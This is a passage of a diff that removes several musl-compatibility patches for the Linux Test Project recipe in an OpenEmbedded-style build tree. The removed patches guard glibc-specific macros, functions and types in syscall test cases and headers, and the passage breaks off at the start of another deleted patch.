diff --git a/meta/recipes-extended/ltp/ltp/0007-fix-__WORDSIZE-undeclared-when-building-with-musl.patch b/meta/recipes-extended/ltp/ltp/0007-fix-__WORDSIZE-undeclared-when-building-with-musl.patch
deleted file mode 100644
index 2f4ca63750..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-fix-__WORDSIZE-undeclared-when-building-with-musl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From d1a27570457fb6e1d6bafe81bfa0f3507b137e32 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Thu, 9 Feb 2017 18:20:58 +0800
-Subject: [PATCH] fix __WORDSIZE undeclared when building with musl
-
-fix __WORDSIZE undeclared when building with musl.
-
-Upstream-Status: Submitted [https://github.com/linux-test-project/ltp/pull/177]
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- include/old/test.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/include/old/test.h b/include/old/test.h
-index b36764d83..cc6f1b551 100644
---- a/include/old/test.h
-+++ b/include/old/test.h
-@@ -44,6 +44,9 @@
- #include <string.h>
- #include <stdlib.h>
- #include <stdint.h>
-+#ifndef __GLIBC__
-+#include <bits/reg.h>
-+#endif
-
- #include "usctest.h"
-
---
-2.11.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0008-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch b/meta/recipes-extended/ltp/ltp/0008-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch
deleted file mode 100644
index e325ce4e49..0000000000
--- a/meta/recipes-extended/ltp/ltp/0008-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch
+++ /dev/null
@@ -1,283 +0,0 @@
-From a3cbee31daae2466bc8dcac36b33a01352693346 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 19:40:08 +0000
-Subject: [PATCH 01/26] Check if __GLIBC_PREREQ is defined before using it
-
-__GLIBC_PREREQ is specific to glibc so it should be checked if it is
-defined or not.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/accept4/accept4_01.c | 9 ++++-
- testcases/kernel/syscalls/getcpu/getcpu01.c | 40 +++++++++++++++++++++-
- .../sched_getaffinity/sched_getaffinity01.c | 26 ++++++++++++++
- 3 files changed, 73 insertions(+), 2 deletions(-)
-
-diff --git a/testcases/kernel/syscalls/accept4/accept4_01.c b/testcases/kernel/syscalls/accept4/accept4_01.c
-index 6072bfa..2b090cb 100644
---- a/testcases/kernel/syscalls/accept4/accept4_01.c
-+++ b/testcases/kernel/syscalls/accept4/accept4_01.c
-@@ -64,6 +64,7 @@ static void cleanup(void)
- tst_rmdir();
- }
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if !(__GLIBC_PREREQ(2, 10))
- static int
- accept4_01(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
-@@ -82,7 +83,6 @@ accept4_01(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
- }
- tst_resm(TINFO, "\n");
- #endif
--
- #if USE_SOCKETCALL
- long args[6];
-
-@@ -97,6 +97,7 @@ accept4_01(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
- #endif
- }
- #endif
-+#endif
-
- static void
- do_test(int lfd, struct sockaddr_in *conn_addr,
-@@ -119,9 +120,15 @@ do_test(int lfd, struct sockaddr_in *conn_addr,
- die("Connect Error");
-
- addrlen = sizeof(struct sockaddr_in);
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if !(__GLIBC_PREREQ(2, 10))
- acceptfd = accept4_01(lfd, (struct sockaddr *)&claddr, &addrlen,
- closeonexec_flag | nonblock_flag);
-+
-+#else
-+ acceptfd = accept4(lfd, (struct sockaddr *)&claddr, &addrlen,
-+ closeonexec_flag | nonblock_flag);
-+#endif
- #else
- acceptfd = accept4(lfd, (struct sockaddr *)&claddr, &addrlen,
- closeonexec_flag | nonblock_flag);
-diff --git a/testcases/kernel/syscalls/getcpu/getcpu01.c b/testcases/kernel/syscalls/getcpu/getcpu01.c
-index c927512..921b107 100644
---- a/testcases/kernel/syscalls/getcpu/getcpu01.c
-+++ b/testcases/kernel/syscalls/getcpu/getcpu01.c
-@@ -62,6 +62,7 @@
- #include <dirent.h>
-
- #if defined(__i386__) || defined(__x86_64__)
-+#if defined(__GLIBC__)
- #if __GLIBC_PREREQ(2,6)
- #if defined(__x86_64__)
- #include <utmpx.h>
-@@ -75,10 +76,17 @@ int sys_support = 0;
- #else
- int sys_support = 0;
- #endif
-+#else
-+int sys_support = 0;
-+#endif
-
-+#if defined(__GLIBC__)
- #if !(__GLIBC_PREREQ(2, 7))
- #define CPU_FREE(ptr) free(ptr)
- #endif
-+#else
-+#define CPU_FREE(ptr) free(ptr)
-+#endif
-
- void cleanup(void);
- void setup(void);
-@@ -164,7 +172,11 @@ static inline int getcpu(unsigned *cpu_id, unsigned *node_id,
- {
- #if defined(__i386__)
- return syscall(318, cpu_id, node_id, cache_struct);
--#elif __GLIBC_PREREQ(2,6)
-+#elif defined(__GLIBC__)
-+#if __GLIBC_PREREQ(2,6)
-+ *cpu_id = sched_getcpu();
-+#endif
-+#else
- *cpu_id = sched_getcpu();
- #endif
- return 0;
-@@ -191,15 +204,20 @@ unsigned int set_cpu_affinity(void)
- cpu_set_t *set;
- size_t size;
- int nrcpus = 1024;
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- realloc:
- set = CPU_ALLOC(nrcpus);
- #else
- set = malloc(sizeof(cpu_set_t));
- #endif
-+#else
-+ set = malloc(sizeof(cpu_set_t));
-+#endif
- if (set == NULL) {
- tst_brkm(TFAIL, NULL, "CPU_ALLOC:errno:%d", errno);
- }
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- size = CPU_ALLOC_SIZE(nrcpus);
- CPU_ZERO_S(size, set);
-@@ -207,8 +225,13 @@ realloc:
- size = sizeof(cpu_set_t);
- CPU_ZERO(set);
- #endif
-+#else
-+ size = sizeof(cpu_set_t);
-+ CPU_ZERO(set);
-+#endif
- if (sched_getaffinity(0, size, set) < 0) {
- CPU_FREE(set);
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- if (errno == EINVAL && nrcpus < (1024 << 8)) {
- nrcpus = nrcpus << 2;
-@@ -220,10 +243,17 @@ realloc:
- "NR_CPUS of the kernel is more than 1024, so we'd better use a newer glibc(>= 2.7)");
- else
- #endif
-+#else
-+ if (errno == EINVAL)
-+ tst_resm(TFAIL,
-+ "NR_CPUS of the kernel is more than 1024, so we'd better use a newer glibc(>= 2.7)");
-+ else
-+#endif
- tst_resm(TFAIL, "sched_getaffinity:errno:%d", errno);
- tst_exit();
- }
- cpu_max = max_cpuid(size, set);
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- CPU_ZERO_S(size, set);
- CPU_SET_S(cpu_max, size, set);
-@@ -231,6 +261,10 @@ realloc:
- CPU_ZERO(set);
- CPU_SET(cpu_max, set);
- #endif
-+#else
-+ CPU_ZERO(set);
-+ CPU_SET(cpu_max, set);
-+#endif
- if (sched_setaffinity(0, size, set) < 0) {
- CPU_FREE(set);
- tst_brkm(TFAIL, NULL, "sched_setaffinity:errno:%d", errno);
-@@ -247,11 +281,15 @@ unsigned int max_cpuid(size_t size, cpu_set_t * set)
- {
- unsigned int index, max = 0;
- for (index = 0; index < size * BITS_PER_BYTE; index++)
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- if (CPU_ISSET_S(index, size, set))
- #else
- if (CPU_ISSET(index, set))
- #endif
-+#else
-+ if (CPU_ISSET(index, set))
-+#endif
- max = index;
- return max;
- }
-diff --git a/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c b/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
-index 9d6a81a..4ed13b2 100644
---- a/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
-+++ b/testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c
-@@ -66,9 +66,11 @@ do { \
- tst_resm((TEST_RETURN == -1 ? TPASS : TFAIL) | TTERRNO, #t); \
- } while (0)
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if !(__GLIBC_PREREQ(2, 7))
- #define CPU_FREE(ptr) free(ptr)
- #endif
-+#endif
-
- int main(int ac, char **av)
- {
-@@ -95,14 +97,19 @@ static void do_test(void)
- pid_t unused_pid;
- unsigned len;
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- realloc:
- mask = CPU_ALLOC(nrcpus);
- #else
- mask = malloc(sizeof(cpu_set_t));
- #endif
-+#else
-+ mask = malloc(sizeof(cpu_set_t));
-+#endif
- if (mask == NULL)
- tst_brkm(TFAIL | TTERRNO, cleanup, "fail to get enough memory");
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- len = CPU_ALLOC_SIZE(nrcpus);
- CPU_ZERO_S(len, mask);
-@@ -110,10 +117,15 @@ realloc:
- len = sizeof(cpu_set_t);
- CPU_ZERO(mask);
- #endif
-+#else
-+ len = sizeof(cpu_set_t);
-+ CPU_ZERO(mask);
-+#endif
- /* positive test */
- TEST(sched_getaffinity(0, len, mask));
- if (TEST_RETURN == -1) {
- CPU_FREE(mask);
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- if (errno == EINVAL && nrcpus < (1024 << 8)) {
- nrcpus = nrcpus << 2;
-@@ -125,17 +137,27 @@ realloc:
- "newer glibc(>= 2.7)");
- else
- #endif
-+#else
-+ if (errno == EINVAL)
-+ tst_resm(TFAIL, "NR_CPUS > 1024, we'd better use a "
-+ "newer glibc(>= 2.7)");
-+ else
-+#endif
- tst_resm(TFAIL | TTERRNO, "fail to get cpu affinity");
- cleanup();
- } else {
- tst_resm(TINFO, "cpusetsize is %d", len);
- tst_resm(TINFO, "mask.__bits[0] = %lu ", mask->__bits[0]);
- for (i = 0; i < num; i++) {
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- TEST(CPU_ISSET_S(i, len, mask));
- #else
- TEST(CPU_ISSET(i, mask));
- #endif
-+#else
-+ TEST(CPU_ISSET(i, mask));
-+#endif
- if (TEST_RETURN != -1)
- tst_resm(TPASS, "sched_getaffinity() succeed, "
- "this process %d is running "
-@@ -143,11 +165,15 @@ realloc:
- }
- }
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2, 7)
- CPU_ZERO_S(len, mask);
- #else
- CPU_ZERO(mask);
- #endif
-+#else
-+ CPU_ZERO(mask);
-+#endif
- /* negative tests */
- QUICK_TEST(sched_getaffinity(0, len, (cpu_set_t *) - 1));
- QUICK_TEST(sched_getaffinity(0, 0, mask));
---
-1.9.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0009-fix-redefinition-of-struct-msgbuf-error-building-wit.patch b/meta/recipes-extended/ltp/ltp/0009-fix-redefinition-of-struct-msgbuf-error-building-wit.patch
deleted file mode 100644
index dd7d28319c..0000000000
--- a/meta/recipes-extended/ltp/ltp/0009-fix-redefinition-of-struct-msgbuf-error-building-wit.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From bf5dd2932200e0199a38f3028d3bef2253f32e38 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Thu, 9 Feb 2017 17:17:37 +0800
-Subject: [PATCH] fix redefinition of 'struct msgbuf' error building with musl
-
-When building with musl the file "sys/msg.h" already contain 'struct msgbuf'
-
-Upstream-Status: Submitted [https://github.com/linux-test-project/ltp/pull/177]
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c
-index a757c0d18..e023114d2 100644
---- a/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c
-+++ b/testcases/kernel/syscalls/ipc/msgrcv/msgrcv08.c
-@@ -47,11 +47,13 @@ const char *TCID = "msgrcv08";
- const int TST_TOTAL = 1;
-
- #if __WORDSIZE == 32
--
-+#ifdef __GLIBC__
- struct msgbuf {
- long mtype; /* message type, must be > 0 */
- char mtext[16]; /* message data */
- };
-+#else
-+#endif
-
- static void msr(int msqid)
- {
---
-2.11.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0010-replace-__BEGIN_DECLS-and-__END_DECLS.patch b/meta/recipes-extended/ltp/ltp/0010-replace-__BEGIN_DECLS-and-__END_DECLS.patch
deleted file mode 100644
index b9fce880fa..0000000000
--- a/meta/recipes-extended/ltp/ltp/0010-replace-__BEGIN_DECLS-and-__END_DECLS.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From 0130f4146ced320aadb01b22e36b13d269a8ebba Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 19:48:14 +0000
-Subject: [PATCH 10/32] replace __BEGIN_DECLS and __END_DECLS
-
-They are not portable across libc implementations
-therefore replace them with expanded macros
-
-Include <asm-generic/types.h> to get __s32 definitions
-its not a generally available typedef
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/epoll2/include/epoll.h | 8 ++++++--
- utils/sctp/include/netinet/sctp.h | 9 +++++++--
- 2 files changed, 13 insertions(+), 4 deletions(-)
-
-diff --git a/testcases/kernel/syscalls/epoll2/include/epoll.h b/testcases/kernel/syscalls/epoll2/include/epoll.h
-index be599c7..8cc5e7e 100644
---- a/testcases/kernel/syscalls/epoll2/include/epoll.h
-+++ b/testcases/kernel/syscalls/epoll2/include/epoll.h
-@@ -85,7 +85,9 @@ struct epoll_event
- } EPOLL_PACKED;
-
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /* Creates an epoll instance. Returns an fd for the new instance.
- The "size" parameter is a hint specifying the number of file
-@@ -114,6 +116,8 @@ extern int epoll_ctl (int __epfd, int __op, int __fd,
- extern int epoll_wait (int __epfd, struct epoll_event *__events,
- int __maxevents, int __timeout) __THROW;
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* sys/epoll.h */
-diff --git a/utils/sctp/include/netinet/sctp.h b/utils/sctp/include/netinet/sctp.h
-index 51f5bfb..c61aef3 100644
---- a/utils/sctp/include/netinet/sctp.h
-+++ b/utils/sctp/include/netinet/sctp.h
-@@ -35,9 +35,12 @@
-
- #include <stdint.h>
- #include <linux/types.h>
-+#include <asm-generic/types.h>
- #include <sys/socket.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- typedef __s32 sctp_assoc_t;
-
-@@ -862,6 +865,8 @@ int sctp_recvmsg(int s, void *msg, size_t len, struct sockaddr *from,
- /* Return the address length for an address family. */
- int sctp_getaddrlen(sa_family_t family);
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* __linux_sctp_h__ */
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0011-Rename-sigset-variable-to-sigset1.patch b/meta/recipes-extended/ltp/ltp/0011-Rename-sigset-variable-to-sigset1.patch
deleted file mode 100644
index 25f6ba78ad..0000000000
--- a/meta/recipes-extended/ltp/ltp/0011-Rename-sigset-variable-to-sigset1.patch
+++ /dev/null
@@ -1,139 +0,0 @@
-From dc1905b6d972f9176b40da270c83d8fb4d1751b5 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:12:34 +0800
-Subject: [PATCH 2/5] Rename sigset variable to sigset1
-
-sigset API from signal.h is shadowed by this name conflict
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/mem/shmt/shmt04.c | 10 +++++-----
- testcases/kernel/mem/shmt/shmt06.c | 10 +++++-----
- testcases/kernel/syscalls/sigprocmask/sigprocmask01.c | 10 +++++-----
- 3 files changed, 15 insertions(+), 15 deletions(-)
-
-diff --git a/testcases/kernel/mem/shmt/shmt04.c b/testcases/kernel/mem/shmt/shmt04.c
-index b2682da..3f35fad 100644
---- a/testcases/kernel/mem/shmt/shmt04.c
-+++ b/testcases/kernel/mem/shmt/shmt04.c
-@@ -56,7 +56,7 @@ int TST_TOTAL = 2; /* Total number of test cases. */
- /**************/
-
- key_t key;
--sigset_t set;
-+sigset_t set1;
-
- #define SIZE 16*1024
-
-@@ -71,9 +71,9 @@ int main(void)
-
- key = (key_t) getpid();
-
-- sigemptyset(&set);
-- sigaddset(&set, SIGUSR1);
-- sigprocmask(SIG_BLOCK, &set, NULL);
-+ sigemptyset(&set1);
-+ sigaddset(&set1, SIGUSR1);
-+ sigprocmask(SIG_BLOCK, &set1, NULL);
-
- pid = fork();
- switch (pid) {
-@@ -148,7 +148,7 @@ int child(void)
- char *cp;
- int sig;
-
-- sigwait(&set, &sig);
-+ sigwait(&set1, &sig);
- chld_pid = getpid();
- /*--------------------------------------------------------*/
-
-diff --git a/testcases/kernel/mem/shmt/shmt06.c b/testcases/kernel/mem/shmt/shmt06.c
-index dd69de7..56fb1da 100644
---- a/testcases/kernel/mem/shmt/shmt06.c
-+++ b/testcases/kernel/mem/shmt/shmt06.c
-@@ -57,7 +57,7 @@ int TST_TOTAL = 2; /* Total number of test cases. */
- /**************/
-
- key_t key;
--sigset_t set;
-+sigset_t set1;
-
- int child();
- static int rm_shm(int);
-@@ -70,9 +70,9 @@ int main(void)
-
- key = (key_t) getpid();
-
-- sigemptyset(&set);
-- sigaddset(&set, SIGUSR1);
-- sigprocmask(SIG_BLOCK, &set, NULL);
-+ sigemptyset(&set1);
-+ sigaddset(&set1, SIGUSR1);
-+ sigprocmask(SIG_BLOCK, &set1, NULL);
-
- pid = fork();
- switch (pid) {
-@@ -147,7 +147,7 @@ int child(void)
- char *cp;
- int sig;
-
-- sigwait(&set, &sig);
-+ sigwait(&set1, &sig);
- chld_pid = getpid();
-
- if ((shmid = shmget(key, SIZE, 0)) < 0) {
-diff --git a/testcases/kernel/syscalls/sigprocmask/sigprocmask01.c b/testcases/kernel/syscalls/sigprocmask/sigprocmask01.c
-index 232d25a..06d902f 100644
---- a/testcases/kernel/syscalls/sigprocmask/sigprocmask01.c
-+++ b/testcases/kernel/syscalls/sigprocmask/sigprocmask01.c
-@@ -91,7 +91,7 @@ int TST_TOTAL = 1;
- int sig_catch = 0; /* variable to blocked/unblocked signals */
-
- struct sigaction sa_new; /* struct to hold signal info */
--sigset_t set; /* signal set to hold signal lists */
-+sigset_t set1; /* signal set to hold signal lists */
- sigset_t sigset2;
-
- int main(int ac, char **av)
-@@ -112,7 +112,7 @@ int main(int ac, char **av)
- * so that, signal will not be delivered to
- * the test process.
- */
-- TEST(sigprocmask(SIG_BLOCK, &set, 0));
-+ TEST(sigprocmask(SIG_BLOCK, &set1, 0));
-
- /* Get the process id of test process */
- my_pid = getpid();
-@@ -165,7 +165,7 @@ int main(int ac, char **av)
- */
- errno = 0;
- if (sigprocmask(SIG_UNBLOCK,
-- &set, 0) == -1) {
-+ &set1, 0) == -1) {
- tst_brkm(TFAIL, cleanup,
- "sigprocmask() failed "
- "to unblock signal, "
-@@ -212,7 +212,7 @@ void setup(void)
- * Initialise the signal sets with the list that
- * excludes/includes all system-defined signals.
- */
-- if (sigemptyset(&set) == -1) {
-+ if (sigemptyset(&set1) == -1) {
- tst_brkm(TFAIL, cleanup,
- "sigemptyset() failed, errno=%d : %s",
- errno, strerror(errno));
-@@ -235,7 +235,7 @@ void setup(void)
- * Add specified signal (SIGINT) to the signal set
- * which excludes system-defined signals.
- */
-- if (sigaddset(&set, SIGINT) == -1) {
-+ if (sigaddset(&set1, SIGINT) == -1) {
- tst_brkm(TFAIL, cleanup,
- "sigaddset() failed, errno=%d : %s",
- errno, strerror(errno));
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0018-guard-mallocopt-with-__GLIBC__.patch b/meta/recipes-extended/ltp/ltp/0018-guard-mallocopt-with-__GLIBC__.patch
deleted file mode 100644
index a79763d00e..0000000000
--- a/meta/recipes-extended/ltp/ltp/0018-guard-mallocopt-with-__GLIBC__.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From f42b060e80c9f40627c712d4d56d45221bd7d9fa Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 06:51:20 +0000
-Subject: [PATCH 18/32] guard mallocopt() with __GLIBC__
-
-mallocopt is not available on non glibc implementations
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- utils/benchmark/ebizzy-0.3/ebizzy.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c
-index 5bb8eff..934d951 100644
---- a/utils/benchmark/ebizzy-0.3/ebizzy.c
-+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c
-@@ -215,10 +215,10 @@ static void read_options(int argc, char *argv[])
- "\"never mmap\" option specified\n");
- usage();
- }
--
-+#ifdef __GLIBC__
- if (never_mmap)
- mallopt(M_MMAP_MAX, 0);
--
-+#endif
- if (chunk_size < record_size) {
- fprintf(stderr, "Chunk size %u smaller than record size %u\n",
- chunk_size, record_size);
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0020-getdents-define-getdents-getdents64-only-for-glibc.patch b/meta/recipes-extended/ltp/ltp/0020-getdents-define-getdents-getdents64-only-for-glibc.patch
deleted file mode 100644
index 7060a64b1a..0000000000
--- a/meta/recipes-extended/ltp/ltp/0020-getdents-define-getdents-getdents64-only-for-glibc.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From aa3568e6ac28f377e75ce16b11e3c7738a373e53 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 06:57:04 +0000
-Subject: [PATCH 20/32] getdents: define getdents/getdents64 only for glibc
-
-getdents/getdents64 are implemented in musl and when we define static
-functions with same name, it errors out.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/getdents/getdents.h | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/testcases/kernel/syscalls/getdents/getdents.h b/testcases/kernel/syscalls/getdents/getdents.h
-index abea655..db63d89 100644
---- a/testcases/kernel/syscalls/getdents/getdents.h
-+++ b/testcases/kernel/syscalls/getdents/getdents.h
-@@ -34,12 +34,13 @@ struct linux_dirent {
- char d_name[];
- };
-
-+#ifdef __GLIBC__
- static inline int
- getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int size)
- {
- return ltp_syscall(__NR_getdents, fd, dirp, size);
- }
--
-+#endif
- struct linux_dirent64 {
- uint64_t d_ino;
- int64_t d_off;
-@@ -48,10 +49,11 @@ struct linux_dirent64 {
- char d_name[];
- };
-
-+#ifdef __GLIBC__
- static inline int
- getdents64(unsigned int fd, struct linux_dirent64 *dirp64, unsigned int size)
- {
- return ltp_syscall(__NR_getdents64, fd, dirp64, size);
- }
--
-+#endif
- #endif /* GETDENTS_H */
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0021-Define-_GNU_SOURCE-for-MREMAP_MAYMOVE-definition.patch b/meta/recipes-extended/ltp/ltp/0021-Define-_GNU_SOURCE-for-MREMAP_MAYMOVE-definition.patch
deleted file mode 100644
index 3e79c9f295..0000000000
--- a/meta/recipes-extended/ltp/ltp/0021-Define-_GNU_SOURCE-for-MREMAP_MAYMOVE-definition.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From b216435bb362df10c45f544b78d8c884eaa901fd Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:01:02 +0000
-Subject: [PATCH 21/32] Define _GNU_SOURCE for MREMAP_MAYMOVE definition
-
-musl guards MREMAP_MAYMOVE with _GNU_SOURCE unlike glibc which uses
-__USE_GNU
-
-Fixes errors like
-error: 'MREMAP_MAYMOVE' undeclared (first use in this function)
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/mremap/mremap01.c | 4 +++-
- testcases/kernel/syscalls/mremap/mremap02.c | 2 ++
- testcases/kernel/syscalls/mremap/mremap03.c | 2 ++
- 3 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/mremap/mremap01.c b/testcases/kernel/syscalls/mremap/mremap01.c
-index d63d1e4..24ca174 100644
---- a/testcases/kernel/syscalls/mremap/mremap01.c
-+++ b/testcases/kernel/syscalls/mremap/mremap01.c
-@@ -76,10 +76,12 @@
- */
- #include <unistd.h>
- #include <errno.h>
-+#include <fcntl.h>
-+#define _GNU_SOURCE
- #define __USE_GNU
- #include <sys/mman.h>
- #undef __USE_GNU
--#include <fcntl.h>
-+#undef _GNU_SOURCE
-
- #include "test.h"
-
-diff --git a/testcases/kernel/syscalls/mremap/mremap02.c b/testcases/kernel/syscalls/mremap/mremap02.c
-index 5a51b9a..a530a6b 100644
---- a/testcases/kernel/syscalls/mremap/mremap02.c
-+++ b/testcases/kernel/syscalls/mremap/mremap02.c
-@@ -75,9 +75,11 @@
- #include <errno.h>
- #include <unistd.h>
- #include <fcntl.h>
-+#define _GNU_SOURCE
- #define __USE_GNU
- #include <sys/mman.h>
- #undef __USE_GNU
-+#undef _GNU_SOURCE
-
- #include "test.h"
-
-diff --git a/testcases/kernel/syscalls/mremap/mremap03.c b/testcases/kernel/syscalls/mremap/mremap03.c
-index 12e3829..9b39f8b 100644
---- a/testcases/kernel/syscalls/mremap/mremap03.c
-+++ b/testcases/kernel/syscalls/mremap/mremap03.c
-@@ -76,9 +76,11 @@
- #include <errno.h>
- #include <unistd.h>
- #include <fcntl.h>
-+#define _GNU_SOURCE
- #define __USE_GNU
- #include <sys/mman.h>
- #undef __USE_GNU
-+#undef _GNU_SOURCE
-
- #include "test.h"
-
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0023-ptrace-Use-int-instead-of-enum-__ptrace_request.patch b/meta/recipes-extended/ltp/ltp/0023-ptrace-Use-int-instead-of-enum-__ptrace_request.patch
deleted file mode 100644
index 529f4ed305..0000000000
--- a/meta/recipes-extended/ltp/ltp/0023-ptrace-Use-int-instead-of-enum-__ptrace_request.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 560347f77236616a635b4a997a0596b8da4d0799 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:08:25 +0000
-Subject: [PATCH 23/32] ptrace: Use int instead of enum __ptrace_request
-
-__ptrace_request is only available with glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- testcases/kernel/syscalls/ptrace/ptrace03.c | 4 ++++
- testcases/kernel/syscalls/ptrace/spawn_ptrace_child.h | 4 ++++
- 2 files changed, 8 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/ptrace/ptrace03.c b/testcases/kernel/syscalls/ptrace/ptrace03.c
-index a4028fc..f1880cd 100644
---- a/testcases/kernel/syscalls/ptrace/ptrace03.c
-+++ b/testcases/kernel/syscalls/ptrace/ptrace03.c
-@@ -102,7 +102,11 @@ static pid_t unused_pid;
- static pid_t zero_pid;
-
- struct test_case_t {
-+#ifdef __GLIBC__
- enum __ptrace_request request;
-+#else
-+ int request;
-+#endif
- pid_t *pid;
- int exp_errno;
- } test_cases[] = {
-diff --git a/testcases/kernel/syscalls/ptrace/spawn_ptrace_child.h b/testcases/kernel/syscalls/ptrace/spawn_ptrace_child.h
-index ae538e9..85aa89d 100644
---- a/testcases/kernel/syscalls/ptrace/spawn_ptrace_child.h
-+++ b/testcases/kernel/syscalls/ptrace/spawn_ptrace_child.h
-@@ -130,7 +130,11 @@ static char *strings[] = {
- SPT(KILL)
- SPT(SINGLESTEP)
- };
-+#ifdef __GLIBC__
- static inline char *strptrace(enum __ptrace_request request)
-+#else
-+static inline char *strptrace(int request)
-+#endif
- {
- return strings[request];
- }
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0024-rt_sigaction-rt_sigprocmark-Define-_GNU_SOURCE.patch b/meta/recipes-extended/ltp/ltp/0024-rt_sigaction-rt_sigprocmark-Define-_GNU_SOURCE.patch
deleted file mode 100644
index 03aa45df8c..0000000000
--- a/meta/recipes-extended/ltp/ltp/0024-rt_sigaction-rt_sigprocmark-Define-_GNU_SOURCE.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From e01e9862c248dc90a8ec6f2d06f8469d7a50cd8e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 07:14:58 +0000
